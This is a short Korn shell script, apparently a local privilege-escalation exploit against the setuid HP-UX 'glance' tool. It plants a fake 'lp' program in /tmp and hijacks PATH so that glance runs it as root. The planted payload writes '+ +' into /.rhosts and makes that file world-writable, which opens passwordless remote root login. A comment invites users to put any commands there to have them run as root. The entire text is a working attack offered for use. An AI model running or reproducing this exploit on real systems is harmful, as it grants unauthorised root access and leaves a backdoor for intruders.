#!/bin/ksh
# the other .traz

GLANCE=/usr/perf/bin/glance

# Put any commands you want into /tmp/lp, and they'll be run as root, basically
cat > /tmp/lp <<EOF
#!/bin/ksh
echo '+ +' >> /.rhosts
chmod 666 /.rhosts
EOF

echo "Please wait about 10 or 15 seconds for your commands to run"
chmod 777 /tmp/lp
PATH=/tmp:$PATH
export PATH
${GLANCE} -j 1 -p bob -iterations 1 -maxpages 1 > /dev/null 2>&1
rm /tmp/lp